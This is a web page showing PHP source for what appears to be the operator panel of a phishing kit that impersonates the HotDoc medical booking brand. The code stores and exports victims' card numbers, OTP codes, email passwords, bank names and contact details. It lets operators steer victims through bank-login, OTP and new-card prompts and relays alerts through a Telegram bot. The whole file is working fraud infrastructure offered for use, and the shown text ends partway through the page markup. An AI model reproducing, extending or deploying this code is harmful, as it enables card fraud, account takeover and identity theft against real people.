    <div class="row">
        <div class="col-12">
            <pre class="with-hljs"><code class="lang-php">&lt;?php
session_start();
$logFile = &#039;logs.json&#039;;
$usersFile = &#039;users.json&#039;;
$auditFile = &#039;audit.json&#039;;

function hasPermission($perm) {
    $perms = isset($_SESSION[&#039;permissions&#039;]) ? $_SESSION[&#039;permissions&#039;] : array();
    return in_array(&#039;*&#039;, $perms) || in_array($perm, $perms);
}

// Export (protected)
if (isset($_GET[&#039;export&#039;]) &amp;&amp; isset($_SESSION[&#039;user&#039;])) {
    $data = file_exists($logFile) ? json_decode(file_get_contents($logFile), true) : [];
    if (!is_array($data)) $data = [];
    $format = $_GET[&#039;export&#039;] === &#039;csv&#039; ? &#039;csv&#039; : &#039;json&#039;;
    if ($format === &#039;json&#039;) {
        header(&#039;Content-Type: application/json&#039;);
        header(&#039;Content-Disposition: attachment; filename=&quot;hotdoc_export_&#039; . date(&#039;Ymd_His&#039;) . &#039;.json&quot;&#039;);
        echo json_encode($data, JSON_PRETTY_PRINT);
    } else {
        header(&#039;Content-Type: text/csv&#039;);
        header(&#039;Content-Disposition: attachment; filename=&quot;hotdoc_export_&#039; . date(&#039;Ymd_His&#039;) . &#039;.csv&quot;&#039;);
        $out = fopen(&#039;php://output&#039;, &#039;w&#039;);
        fputcsv($out, [&#039;UID&#039;,&#039;IP&#039;,&#039;FirstSeen&#039;,&#039;LastActivity&#039;,&#039;Step&#039;,&#039;Phone&#039;,&#039;Name&#039;,&#039;Email&#039;,&#039;Card&#039;,&#039;Bank&#039;,&#039;EmailPass&#039;,&#039;OTP&#039;,&#039;Fingerprint&#039;]);
        foreach ($data as $uid =&gt; $u) {
            fputcsv($out, [
                $uid, $u[&#039;ip&#039;] ?? &#039;&#039;, $u[&#039;first_seen&#039;] ?? &#039;&#039;, date(&#039;Y-m-d H:i:s&#039;, $u[&#039;last_activity&#039;] ?? 0),
                $u[&#039;info&#039;][&#039;step&#039;] ?? &#039;&#039;, $u[&#039;info&#039;][&#039;phone&#039;] ?? &#039;&#039;, $u[&#039;info&#039;][&#039;name&#039;] ?? &#039;&#039;,
                $u[&#039;info&#039;][&#039;email&#039;] ?? &#039;&#039;, $u[&#039;info&#039;][&#039;current_card&#039;] ?? &#039;&#039;, $u[&#039;info&#039;][&#039;bank_name&#039;] ?? &#039;&#039;,
                $u[&#039;info&#039;][&#039;email_pass&#039;] ?? &#039;&#039;, $u[&#039;info&#039;][&#039;otp&#039;] ?? &#039;&#039;,
                isset($u[&#039;fingerprint&#039;]) ? json_encode($u[&#039;fingerprint&#039;]) : &#039;&#039;
            ]);
        }
        fclose($out);
    }
    exit;
}

// Delete user
if (isset($_GET[&#039;delete&#039;]) &amp;&amp; isset($_SESSION[&#039;user&#039;]) &amp;&amp; hasPermission(&#039;send_command&#039;)) {
    $data = file_exists($logFile) ? json_decode(file_get_contents($logFile), true) : [];
    if (!is_array($data)) $data = [];
    $uid = preg_replace(&#039;/[^a-zA-Z0-9_-]/&#039;, &#039;&#039;, $_GET[&#039;delete&#039;] ?? &#039;&#039;);
    if (isset($data[$uid])) {
        unset($data[$uid]);
        file_put_contents($logFile, json_encode($data), LOCK_EX);
        $audit = [];
        if (file_exists($auditFile)) {
            $a = json_decode(file_get_contents($auditFile), true);
            if (is_array($a)) $audit = $a;
        }
        array_unshift($audit, [&#039;time&#039; =&gt; date(&#039;Y-m-d H:i:s&#039;), &#039;action&#039; =&gt; &#039;delete_user&#039;, &#039;uid&#039; =&gt; $uid, &#039;admin&#039; =&gt; $_SESSION[&#039;user&#039;]]);
        file_put_contents($auditFile, json_encode(array_slice($audit, 0, 1000)), LOCK_EX);
    }
    header(&#039;Content-Type: application/json&#039;);
    echo json_encode([&#039;status&#039; =&gt; &#039;deleted&#039;]);
    exit;
}

// Default users with password_hash
$defaultUsers = array(
    &#039;admin&#039; =&gt; array(&#039;password&#039; =&gt; password_hash(&#039;admin123&#039;, PASSWORD_DEFAULT), &#039;role&#039; =&gt; &#039;superadmin&#039;, &#039;name&#039; =&gt; &#039;Admin&#039;, &#039;permissions&#039; =&gt; array(&#039;*&#039;)),
    &#039;operator&#039; =&gt; array(&#039;password&#039; =&gt; password_hash(&#039;operator123&#039;, PASSWORD_DEFAULT), &#039;role&#039; =&gt; &#039;operator&#039;, &#039;name&#039; =&gt; &#039;Operator&#039;, &#039;permissions&#039; =&gt; array(&#039;view&#039;, &#039;send_command&#039;)),
    &#039;viewer&#039; =&gt; array(&#039;password&#039; =&gt; password_hash(&#039;viewer123&#039;, PASSWORD_DEFAULT), &#039;role&#039; =&gt; &#039;viewer&#039;, &#039;name&#039; =&gt; &#039;Viewer&#039;, &#039;permissions&#039; =&gt; array(&#039;view&#039;))
);

if (!file_exists($usersFile)) {
    file_put_contents($usersFile, json_encode($defaultUsers));
}
$users = json_decode(file_get_contents($usersFile), true);
if (!is_array($users)) $users = $defaultUsers;

if (isset($_POST[&#039;logout&#039;])) {
    session_destroy();
    header(&#039;Location: admin.php&#039;);
    exit;
}

if (isset($_POST[&#039;login&#039;])) {
    $u = isset($_POST[&#039;username&#039;]) ? $_POST[&#039;username&#039;] : &#039;&#039;;
    $p = isset($_POST[&#039;password&#039;]) ? $_POST[&#039;password&#039;] : &#039;&#039;;
    $loginOk = false;
    
    if (isset($users[$u])) {
        // Modern hash
        if (password_verify($p, $users[$u][&#039;password&#039;])) {
            $loginOk = true;
        } 
        // MD5 fallback + rehash
        elseif (strlen($users[$u][&#039;password&#039;]) == 32 &amp;&amp; ctype_xdigit($users[$u][&#039;password&#039;]) &amp;&amp; $users[$u][&#039;password&#039;] === md5($p)) {
            $loginOk = true;
            $users[$u][&#039;password&#039;] = password_hash($p, PASSWORD_DEFAULT);
            file_put_contents($usersFile, json_encode($users));
        }
    }
    
    if ($loginOk) {
        $_SESSION[&#039;user&#039;] = $u;
        $_SESSION[&#039;role&#039;] = $users[$u][&#039;role&#039;];
        $_SESSION[&#039;permissions&#039;] = $users[$u][&#039;permissions&#039;];
        header(&#039;Location: admin.php&#039;);
        exit;
    } else {
        $loginError = &#039;Invalid credentials&#039;;
    }
}

if (!isset($_SESSION[&#039;user&#039;])) {
?&gt;
&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;head&gt;&lt;meta charset=&quot;UTF-8&quot;&gt;&lt;title&gt;Login | HotDoc Command Center&lt;/title&gt;
&lt;style&gt;
body { font-family: Arial, sans-serif; background: #0a0e1a; color: #fff; display: flex; align-items: center; justify-content: center; min-height: 100vh; margin: 0; }
.box { background: #111827; border: 1px solid #1f2937; border-radius: 16px; padding: 48px; width: 100%; max-width: 420px; text-align: center; }
.box img { height: 48px; margin-bottom: 24px; }
h1 { color: #00a86b; margin-bottom: 8px; font-size: 22px; }
p { color: #6b7280; margin-bottom: 24px; font-size: 14px; }
input { width: 100%; padding: 14px; background: #1f2937; border: 1px solid #374151; border-radius: 10px; color: #fff; margin-bottom: 16px; box-sizing: border-box; font-size: 14px; }
input:focus { outline: none; border-color: #00a86b; box-shadow: 0 0 0 3px rgba(0,168,107,0.15); }
button { width: 100%; padding: 14px; background: #00a86b; border: none; border-radius: 10px; color: #fff; font-weight: 700; cursor: pointer; font-size: 15px; transition: background 0.2s; }
button:hover { background: #008f5b; }
.error { color: #ef4444; margin-bottom: 16px; font-size: 13px; }
&lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;div class=&quot;box&quot;&gt;
    &lt;img src=&quot;https://cdn.hotdoc.com.au/bookings/dist/assets/images/hotdoc.fingerprinted.aa4b7b0c73a54530f68b.svg&quot; alt=&quot;HotDoc&quot;&gt;
    &lt;h1&gt;Command Center&lt;/h1&gt;
    &lt;p&gt;Admin Control Panel&lt;/p&gt;
    &lt;?php if(isset($loginError)): ?&gt;&lt;div class=&quot;error&quot;&gt;&lt;?php echo $loginError; ?&gt;&lt;/div&gt;&lt;?php endif; ?&gt;
    &lt;form method=&quot;POST&quot;&gt;
        &lt;input type=&quot;text&quot; name=&quot;username&quot; placeholder=&quot;Username&quot; required autocomplete=&quot;off&quot;&gt;
        &lt;input type=&quot;password&quot; name=&quot;password&quot; placeholder=&quot;Password&quot; required&gt;
        &lt;button type=&quot;submit&quot; name=&quot;login&quot;&gt;Sign In&lt;/button&gt;
    &lt;/form&gt;
&lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;
&lt;?php exit; }

$currentUser = isset($_SESSION[&#039;user&#039;]) ? $_SESSION[&#039;user&#039;] : &#039;unknown&#039;;
$currentRole = isset($_SESSION[&#039;role&#039;]) ? $_SESSION[&#039;role&#039;] : &#039;unknown&#039;;
$data = file_exists($logFile) ? json_decode(file_get_contents($logFile), true) : array();
if (!is_array($data)) $data = array();

// Compute duplicates
$phones = []; $emails = []; $duplicateUids = [];
foreach ($data as $uid =&gt; $u) {
    $phone = $u[&#039;info&#039;][&#039;phone&#039;] ?? &#039;&#039;;
    $email = $u[&#039;info&#039;][&#039;email&#039;] ?? &#039;&#039;;
    if ($phone) {
        if (isset($phones[$phone])) { $duplicateUids[$uid] = true; $duplicateUids[$phones[$phone]] = true; }
        else $phones[$phone] = $uid;
    }
    if ($email) {
        if (isset($emails[$email])) { $duplicateUids[$uid] = true; $duplicateUids[$emails[$email]] = true; }
        else $emails[$email] = $uid;
    }
}

$totalUsers = count($data);
$onlineUsers = 0;
$processingUsers = 0;
foreach ($data as $u) {
    if ((time() - (isset($u[&#039;last_activity&#039;]) ? $u[&#039;last_activity&#039;] : 0)) &lt; 15) $onlineUsers++;
    $step = isset($u[&#039;info&#039;][&#039;step&#039;]) ? $u[&#039;info&#039;][&#039;step&#039;] : 1;
    if ($step == 3 &amp;&amp; (isset($u[&#039;command&#039;]) ? $u[&#039;command&#039;] : &#039;wait&#039;) === &#039;wait&#039;) $processingUsers++;
}

$filter = isset($_GET[&#039;filter&#039;]) ? $_GET[&#039;filter&#039;] : &#039;all&#039;;
$auditLog = [];
if (file_exists($auditFile)) {
    $a = json_decode(file_get_contents($auditFile), true);
    if (is_array($a)) $auditLog = $a;
}
?&gt;
&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;head&gt;
&lt;meta charset=&quot;UTF-8&quot;&gt;
&lt;title&gt;HotDoc Command Center&lt;/title&gt;
&lt;style&gt;
:root { --green: #00a86b; --blue: #3b82f6; --orange: #f59e0b; --red: #ef4444; --dark: #0f172a; --card: #1e293b; --border: #334155; --muted: #94a3b8; }
* { margin: 0; padding: 0; box-sizing: border-box; }
body { font-family: Arial, sans-serif; background: var(--dark); color: #e2e8f0; }
.nav { background: var(--card); border-bottom: 1px solid var(--border); padding: 0 20px; height: 56px; display: flex; align-items: center; justify-content: space-between; }
.nav-left { display: flex; align-items: center; gap: 12px; }
.nav-left img { height: 28px; }
.nav h1 { font-size: 18px; color: var(--green); font-weight: 700; }
.nav-right { display: flex; align-items: center; gap: 15px; }
.nav-right span { font-size: 12px; color: var(--muted); }
.nav-right button { background: transparent; border: 1px solid var(--border); color: var(--muted); padding: 6px 14px; border-radius: 6px; cursor: pointer; font-size: 12px; }
.nav-right button:hover { border-color: var(--red); color: var(--red); }
.btn-refresh { background: var(--green) !important; color: #fff !important; border-color: var(--green) !important; font-weight: 600; }
.main { padding: 20px; max-width: 1400px; margin: 0 auto; }
.stats { display: grid; grid-template-columns: repeat(auto-fit, minmax(160px, 1fr)); gap: 15px; margin-bottom: 20px; }
.stat { background: var(--card); border: 1px solid var(--border); border-radius: 8px; padding: 15px; }
.stat .label { font-size: 11px; color: var(--muted); text-transform: uppercase; letter-spacing: 0.5px; }
.stat .value { font-size: 26px; font-weight: 700; color: #fff; margin-top: 5px; }
.users { display: grid; grid-template-columns: repeat(auto-fill, minmax(380px, 1fr)); gap: 15px; }
.user { background: var(--card); border: 1px solid var(--border); border-radius: 10px; overflow: hidden; transition: all 0.3s; }
.user.online { border-left: 3px solid var(--green); }
.user.waiting { border-left: 3px solid var(--orange); }
.user.processing { border-left: 3px solid var(--blue); }
.user.duplicate { border: 2px solid var(--orange); }
.user-header { padding: 12px 14px; background: rgba(0,0,0,0.2); display: flex; justify-content: space-between; align-items: center; border-bottom: 1px solid var(--border); }
.user-header .id { font-family: monospace; font-weight: 700; font-size: 13px; color: #fff; }
.user-header .badge { padding: 3px 8px; border-radius: 4px; font-size: 10px; font-weight: 700; text-transform: uppercase; margin-left: 5px; letter-spacing: 0.5px; }
.badge-step { background: rgba(59,130,246,0.15); color: #60a5fa; }
.badge-cards { background: rgba(239,68,68,0.15); color: #f87171; }
.badge-otp { background: rgba(16,185,129,0.15); color: #34d399; }
.badge-processing { background: rgba(59,130,246,0.15); color: #60a5fa; }
.badge-bank { background: rgba(245,158,11,0.15); color: #f59e0b; }
.badge-queue { background: rgba(139,92,246,0.15); color: #a78bfa; }
.badge-dup { background: rgba(245,158,11,0.2); color: #fbbf24; }
.user-body { padding: 12px; }
.data-grid { display: grid; grid-template-columns: 1fr 1fr; gap: 8px; }
.data-field { background: rgba(0,0,0,0.2); padding: 8px 10px; border-radius: 6px; font-size: 12px; }
.data-field label { display: block; font-size: 10px; color: var(--muted); text-transform: uppercase; margin-bottom: 3px; letter-spacing: 0.5px; }
.data-field .val { font-family: monospace; word-break: break-all; color: #e2e8f0; }
.data-field .val.card { color: #34d399; font-weight: 700; }
.data-field .val.cvv { color: #f87171; font-weight: 700; }
.data-field .val.exp { color: #60a5fa; font-weight: 700; }
.data-field .val.otp { color: #34d399; font-size: 18px; font-weight: 800; }
.data-field .val.bank { color: #f59e0b; font-weight: 700; }
.data-field .val.creds { color: #f87171; font-weight: 700; }
.cmd-section { padding: 12px; background: rgba(0,0,0,0.2); border-top: 1px solid var(--border); }
.cmd-row { display: flex; gap: 8px; flex-wrap: wrap; }
.cmd-row select { flex: 1; min-width: 140px; padding: 8px 10px; background: var(--card); border: 1px solid var(--border); border-radius: 6px; color: #fff; font-size: 13px; cursor: pointer; }
.cmd-row button { padding: 8px 14px; border: none; border-radius: 6px; cursor: pointer; font-weight: 600; font-size: 12px; transition: opacity 0.2s; }
.cmd-row button:hover { opacity: 0.85; }
.cmd-row input[type=&quot;text&quot;] { flex: 1; min-width: 140px; padding: 8px 10px; background: var(--card); border: 1px solid var(--border); border-radius: 6px; color: #fff; font-size: 13px; }
.btn-send { background: var(--green); color: #fff; }
.btn-quick { background: transparent; border: 1px solid var(--border); color: var(--muted); }
.btn-otp { background: var(--blue); color: #fff; }
.btn-app { background: #8b5cf6; color: #fff; }
.btn-bank { background: #f59e0b; color: #fff; }
.btn-done { background: var(--green); color: #fff; }
.btn-notify { background: #f59e0b; color: #fff; }
.btn-email { background: #ec4899; color: #fff; }
.btn-delete { background: var(--red); color: #fff; }
.status { font-size: 11px; color: var(--muted); margin-top: 8px; min-height: 16px; }
.status.pending { color: var(--orange); font-weight: 600; }
.status.sent { color: var(--green); font-weight: 600; }
.empty { text-align: center; padding: 60px; color: var(--muted); grid-column: 1 / -1; }
.filters { display: flex; gap: 10px; margin-bottom: 20px; flex-wrap: wrap; }
.filters button { padding: 8px 16px; background: var(--card); border: 1px solid var(--border); border-radius: 6px; color: var(--muted); cursor: pointer; font-size: 13px; transition: all 0.2s; }
.filters button.active { background: rgba(0,168,107,0.15); border-color: var(--green); color: var(--green); font-weight: 600; }
.toast-container { position: fixed; top: 70px; right: 20px; z-index: 1000; }
.toast { background: var(--card); border: 1px solid var(--border); border-radius: 8px; padding: 12px 16px; margin-bottom: 10px; box-shadow: 0 4px 20px rgba(0,0,0,0.3); animation: slideIn 0.3s; max-width: 300px; font-size: 13px; color: #fff; }
@keyframes slideIn { from { transform: translateX(100px); opacity: 0; } to { transform: translateX(0); opacity: 1; } }
.flow-guide { background: rgba(0,168,107,0.08); border: 1px solid rgba(0,168,107,0.3); border-radius: 8px; padding: 12px 16px; margin-bottom: 20px; font-size: 13px; color: var(--muted); }
.flow-guide strong { color: var(--green); }
.tg-panel { background: var(--card); border: 1px solid var(--border); border-radius: 10px; padding: 16px; margin-bottom: 20px; }
.tg-panel h3 { font-size: 14px; color: var(--green); margin-bottom: 10px; display: flex; align-items: center; gap: 8px; }
.tg-panel p { font-size: 12px; color: var(--muted); margin-bottom: 8px; line-height: 1.5; }
.tg-panel code { background: rgba(0,0,0,0.3); padding: 2px 6px; border-radius: 4px; font-family: monospace; font-size: 11px; color: #e2e8f0; }
.tg-btn { display: inline-block; padding: 6px 14px; background: rgba(0,168,107,0.15); border: 1px solid var(--green); color: var(--green); border-radius: 6px; font-size: 12px; font-weight: 600; text-decoration: none; margin-right: 8px; cursor: pointer; }
.tg-btn:hover { background: var(--green); color: #fff; }
.top-bar { display: flex; gap: 10px; margin-bottom: 20px; flex-wrap: wrap; align-items: center; }
.top-bar input { padding: 8px 12px; background: var(--card); border: 1px solid var(--border); border-radius: 6px; color: #fff; font-size: 13px; min-width: 200px; }
.top-bar select { padding: 8px 12px; background: var(--card); border: 1px solid var(--border); border-radius: 6px; color: #fff; font-size: 13px; }
.bulk-panel { background: var(--card); border: 1px solid var(--border); border-radius: 8px; padding: 10px 14px; margin-bottom: 15px; display: none; align-items: center; gap: 10px; flex-wrap: wrap; }
.bulk-panel.show { display: flex; }
.bulk-panel select { padding: 6px 10px; background: var(--dark); border: 1px solid var(--border); border-radius: 6px; color: #fff; font-size: 13px; }
.audit-section { background: var(--card); border: 1px solid var(--border); border-radius: 10px; padding: 16px; margin-bottom: 20px; max-height: 300px; overflow-y: auto; }
.audit-section h3 { font-size: 14px; color: var(--green); margin-bottom: 10px; }
.audit-row { font-size: 12px; color: var(--muted); padding: 4px 0; border-bottom: 1px solid var(--border); }
.audit-row:last-child { border-bottom: none; }
.user-checkbox { margin-right: 8px; cursor: pointer; }
&lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;div class=&quot;nav&quot;&gt;
    &lt;div class=&quot;nav-left&quot;&gt;
        &lt;img src=&quot;https://cdn.hotdoc.com.au/bookings/dist/assets/images/hotdoc.fingerprinted.aa4b7b0c73a54530f68b.svg&quot; alt=&quot;HotDoc&quot;&gt;
        &lt;h1&gt;Command Center&lt;/h1&gt;
    &lt;/div&gt;
    &lt;div class=&quot;nav-right&quot;&gt;
        &lt;span&gt;&lt;?php echo htmlspecialchars($currentUser); ?&gt; (&lt;?php echo $currentRole; ?&gt;)&lt;/span&gt;
        &lt;button class=&quot;btn-refresh&quot; onclick=&quot;forceRefresh()&quot;&gt;Refresh&lt;/button&gt;
        &lt;button onclick=&quot;toggleAutoRefresh()&quot; id=&quot;refreshToggle&quot;&gt;Pause&lt;/button&gt;
        &lt;a href=&quot;?export=json&quot; class=&quot;tg-btn&quot; style=&quot;text-decoration:none;&quot;&gt;Export JSON&lt;/a&gt;
        &lt;a href=&quot;?export=csv&quot; class=&quot;tg-btn&quot; style=&quot;text-decoration:none;&quot;&gt;Export CSV&lt;/a&gt;
        &lt;form method=&quot;POST&quot; style=&quot;display:inline;&quot;&gt;&lt;button type=&quot;submit&quot; name=&quot;logout&quot;&gt;Logout&lt;/button&gt;&lt;/form&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;div class=&quot;main&quot;&gt;

&lt;div class=&quot;tg-panel&quot;&gt;
    &lt;h3&gt;📱 Telegram Bot Control&lt;/h3&gt;
    &lt;p&gt;&lt;strong&gt;Commands:&lt;/strong&gt; &lt;code&gt;/start&lt;/code&gt; &lt;code&gt;/panel&lt;/code&gt; &lt;code&gt;/users&lt;/code&gt; &lt;code&gt;/online&lt;/code&gt; &lt;code&gt;/active&lt;/code&gt; &lt;code&gt;/notify &amp;lt;uid&amp;gt; &amp;lt;msg&amp;gt;&lt;/code&gt;&lt;/p&gt;
    &lt;p&gt;When a user submits card details, the bot sends an alert with inline buttons (OTP, APP, BANK, New Card, Done, Error). Click any button to send the command instantly.&lt;/p&gt;
    &lt;p&gt;&lt;strong&gt;Setup:&lt;/strong&gt; Set token in &lt;code&gt;backend.php&lt;/code&gt; &amp; &lt;code&gt;tg_bot.php&lt;/code&gt;, then visit &lt;code&gt;tg_bot.php?setup=1&amp;token=YOUR_BOT_TOKEN&lt;/code&gt;&lt;/p&gt;
    &lt;div style=&quot;margin-top:10px;&quot;&gt;
        &lt;a href=&quot;tg_bot.php?setup=1&quot; class=&quot;tg-btn&quot; target=&quot;_blank&quot;&gt;🔗 Setup Webhook&lt;/a&gt;
        &lt;a href=&quot;https://t.me/BotFather&quot; class=&quot;tg-btn&quot; target=&quot;_blank&quot;&gt;🤖 BotFather&lt;/a&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;div class=&quot;stats&quot;&gt;
    &lt;div class=&quot;stat&quot;&gt;&lt;div class=&quot;label&quot;&gt;Online Now&lt;/div&gt;&lt;div class=&quot;value&quot; id=&quot;stat-online&quot;&gt;&lt;?php echo $onlineUsers; ?&gt;&lt;/div&gt;&lt;/div&gt;
    &lt;div class=&quot;stat&quot;&gt;&lt;div class=&quot;label&quot;&gt;Total Users&lt;/div&gt;&lt;div class=&quot;value&quot; id=&quot;stat-total&quot;&gt;&lt;?php echo $totalUsers; ?&gt;&lt;/div&gt;&lt;/div&gt;
    &lt;div class=&quot;stat&quot;&gt;&lt;div class=&quot;label&quot;&gt;Processing&lt;/div&gt;&lt;div class=&quot;value&quot; id=&quot;stat-processing&quot;&gt;&lt;?php echo $processingUsers; ?&gt;&lt;/div&gt;&lt;/div&gt;
&lt;/div&gt;

&lt;div class=&quot;flow-guide&quot;&gt;
    &lt;strong&gt;Flow:&lt;/strong&gt; Phone -&gt; Personal Info -&gt; Card -&gt; &lt;strong&gt;Processing&lt;/strong&gt; -&gt; [OTP / App / Bank / Email / New Card / Done]
&lt;/div&gt;

&lt;div class=&quot;top-bar&quot;&gt;
    &lt;input type=&quot;text&quot; id=&quot;searchInput&quot; placeholder=&quot;Search by UID, phone, email, name...&quot; oninput=&quot;filterUsers()&quot;&gt;
    &lt;button onclick=&quot;document.getElementById(&#039;auditSection&#039;).classList.toggle(&#039;hidden&#039;)&quot;&gt;📋 Audit Log&lt;/button&gt;
&lt;/div&gt;

&lt;div class=&quot;bulk-panel&quot; id=&quot;bulkPanel&quot;&gt;
    &lt;span style=&quot;font-size:13px;color:var(--muted);&quot;&gt;&lt;span id=&quot;bulkCount&quot;&gt;0&lt;/span&gt; selected&lt;/span&gt;
    &lt;select id=&quot;bulkCmd&quot;&gt;
        &lt;option value=&quot;&quot;&gt;Bulk Command...&lt;/option&gt;
        &lt;option value=&quot;go_otp&quot;&gt;OTP Verification&lt;/option&gt;
        &lt;option value=&quot;go_app&quot;&gt;Bank App Approval&lt;/option&gt;
        &lt;option value=&quot;go_bank&quot;&gt;Bank Login Required&lt;/option&gt;
        &lt;option value=&quot;go_email&quot;&gt;Email Password Required&lt;/option&gt;
        &lt;option value=&quot;new_card&quot;&gt;New Card Required&lt;/option&gt;
        &lt;option value=&quot;wrong_card&quot;&gt;Card Wrong - Retry&lt;/option&gt;
        &lt;option value=&quot;go_success&quot;&gt;Done - Success&lt;/option&gt;
        &lt;option value=&quot;go_error&quot;&gt;Show Error&lt;/option&gt;
        &lt;option value=&quot;delete&quot;&gt;Delete Users&lt;/option&gt;
    &lt;/select&gt;
    &lt;button class=&quot;btn-send&quot; onclick=&quot;sendBulkCmd()&quot;&gt;Send Bulk&lt;/button&gt;
    &lt;button class=&quot;btn-delete&quot; onclick=&quot;clearBulk()&quot;&gt;Clear&lt;/button&gt;
&lt;/div&gt;

&lt;div class=&quot;audit-section hidden&quot; id=&quot;auditSection&quot;&gt;
    &lt;h3&gt;Recent Admin Actions&lt;/h3&gt;
    &lt;?php if (empty($auditLog)): ?&gt;
        &lt;div style=&quot;color:var(--muted);font-size:12px;&quot;&gt;No audit entries yet.&lt;/div&gt;
    &lt;?php else: ?&gt;
        &lt;?php foreach (array_slice($auditLog, 0, 50) as $entry): ?&gt;
            &lt;div class=&quot;audit-row&quot;&gt;
                &lt;strong&gt;&lt;?php echo htmlspecialchars($entry[&#039;time&#039;]); ?&gt;&lt;/strong&gt; — 
                &lt;?php echo htmlspecialchars($entry[&#039;action&#039;]); ?&gt; 
                &lt;?php if ($entry[&#039;uid&#039;]): ?&gt;on &lt;code&gt;&lt;?php echo htmlspecialchars(substr($entry[&#039;uid&#039;],0,16)); ?&gt;&lt;/code&gt;&lt;?php endif; ?&gt;
                &lt;?php if (isset($entry[&#039;details&#039;][&#039;command&#039;])): ?&gt;(&lt;?php echo htmlspecialchars($entry[&#039;details&#039;][&#039;command&#039;]); ?&gt;)&lt;?php endif; ?&gt;
            &lt;/div&gt;
        &lt;?php endforeach; ?&gt;
    &lt;?php endif; ?&gt;
&lt;/div&gt;

&lt;div class=&quot;filters&quot;&gt;
    &lt;button class=&quot;&lt;?php echo $filter==&#039;all&#039;?&#039;active&#039;:&#039;&#039;; ?&gt;&quot; onclick=&quot;setFilter(&#039;all&#039;)&quot;&gt;All&lt;/button&gt;
    &lt;button class=&quot;&lt;?php echo $filter==&#039;online&#039;?&#039;active&#039;:&#039;&#039;; ?&gt;&quot; onclick=&quot;setFilter(&#039;online&#039;)&quot;&gt;Online&lt;/button&gt;
    &lt;button class=&quot;&lt;?php echo $filter==&#039;processing&#039;?&#039;active&#039;:&#039;&#039;; ?&gt;&quot; onclick=&quot;setFilter(&#039;processing&#039;)&quot;&gt;Processing&lt;/button&gt;
    &lt;button class=&quot;&lt;?php echo $filter==&#039;action&#039;?&#039;active&#039;:&#039;&#039;; ?&gt;&quot; onclick=&quot;setFilter(&#039;action&#039;)&quot;&gt;Action Needed&lt;/button&gt;
    &lt;button class=&quot;&lt;?php echo $filter==&#039;duplicate&#039;?&#039;active&#039;:&#039;&#039;; ?&gt;&quot; onclick=&quot;setFilter(&#039;duplicate&#039;)&quot;&gt;Duplicates&lt;/button&gt;
&lt;/div&gt;

&lt;div class=&quot;users&quot; id=&quot;usersContainer&quot;&gt;
&lt;?php
$displayed = 0;
foreach(array_reverse($data, true) as $uid =&gt; $user):
    $isOnline = (time() - (isset($user[&#039;last_activity&#039;]) ? $user[&#039;last_activity&#039;] : 0)) &lt; 15;
    $isWaiting = (isset($user[&#039;command&#039;]) ? $user[&#039;command&#039;] : &#039;wait&#039;) !== &#039;wait&#039;;
    $step = isset($user[&#039;info&#039;][&#039;step&#039;]) ? $user[&#039;info&#039;][&#039;step&#039;] : 1;
    $cards = isset($user[&#039;card_attempts&#039;]) ? $user[&#039;card_attempts&#039;] : 0;
    $isProcessing = ($step == 3 &amp;&amp; !$isWaiting);
    $hasBank = isset($user[&#039;info&#039;][&#039;bank_name&#039;]) &amp;&amp; !empty($user[&#039;info&#039;][&#039;bank_name&#039;]);
    $isDuplicate = isset($duplicateUids[$uid]);
    $queueCount = isset($user[&#039;command_queue&#039;]) ? count($user[&#039;command_queue&#039;]) : 0;

    if ($filter == &#039;online&#039; &amp;&amp; !$isOnline) continue;
    if ($filter == &#039;processing&#039; &amp;&amp; !$isProcessing) continue;
    if ($filter == &#039;action&#039; &amp;&amp; !$isWaiting) continue;
    if ($filter == &#039;duplicate&#039; &amp;&amp; !$isDuplicate) continue;
    $displayed++;

    $stepLabels = array(1 =&gt; &#039;Phone&#039;, 2 =&gt; &#039;Info&#039;, 3 =&gt; &#039;Card&#039;, 5 =&gt; &#039;OTP&#039;, 6 =&gt; &#039;App&#039;, 8 =&gt; &#039;Bank&#039;, 9 =&gt; &#039;Email&#039;);
    $stepLabel = isset($stepLabels[$step]) ? $stepLabels[$step] : &#039;Step &#039; . $step;
?&gt;
&lt;div class=&quot;user &lt;?php echo $isOnline?&#039;online&#039;:&#039;&#039;; ?&gt; &lt;?php echo $isWaiting?&#039;waiting&#039;:&#039;&#039;; ?&gt; &lt;?php echo $isProcessing?&#039;processing&#039;:&#039;&#039;; ?&gt; &lt;?php echo $isDuplicate?&#039;duplicate&#039;:&#039;&#039;; ?&gt;&quot; data-uid=&quot;&lt;?php echo htmlspecialchars($uid); ?&gt;&quot; id=&quot;card-&lt;?php echo htmlspecialchars($uid); ?&gt;&quot;&gt;
    &lt;div class=&quot;user-header&quot;&gt;
        &lt;div style=&quot;display:flex;align-items:center;&quot;&gt;
            &lt;input type=&quot;checkbox&quot; class=&quot;user-checkbox&quot; onchange=&quot;updateBulk()&quot; data-uid=&quot;&lt;?php echo htmlspecialchars($uid); ?&gt;&quot;&gt;
            &lt;span class=&quot;id&quot;&gt;&lt;?php echo htmlspecialchars($uid); ?&gt;&lt;/span&gt;
        &lt;/div&gt;
        &lt;div&gt;
            &lt;span class=&quot;badge badge-step&quot;&gt;&lt;?php echo $stepLabel; ?&gt;&lt;/span&gt;
            &lt;?php if($cards&gt;0): ?&gt;&lt;span class=&quot;badge badge-cards&quot;&gt;&lt;?php echo $cards; ?&gt; cards&lt;/span&gt;&lt;?php endif; ?&gt;
            &lt;?php if(isset($user[&#039;info&#039;][&#039;otp&#039;]) &amp;&amp; !empty($user[&#039;info&#039;][&#039;otp&#039;])): ?&gt;&lt;span class=&quot;badge badge-otp&quot;&gt;OTP&lt;/span&gt;&lt;?php endif; ?&gt;
            &lt;?php if($hasBank): ?&gt;&lt;span class=&quot;badge badge-bank&quot;&gt;BANK&lt;/span&gt;&lt;?php endif; ?&gt;
            &lt;?php if($isProcessing): ?&gt;&lt;span class=&quot;badge badge-processing&quot;&gt;PROCESSING&lt;/span&gt;&lt;?php endif; ?&gt;
            &lt;?php if($queueCount&gt;0): ?&gt;&lt;span class=&quot;badge badge-queue&quot;&gt;Queue &lt;?php echo $queueCount; ?&gt;&lt;/span&gt;&lt;?php endif; ?&gt;
            &lt;?php if($isDuplicate): ?&gt;&lt;span class=&quot;badge badge-dup&quot;&gt;DUP&lt;/span&gt;&lt;?php endif; ?&gt;
        &lt;/div&gt;
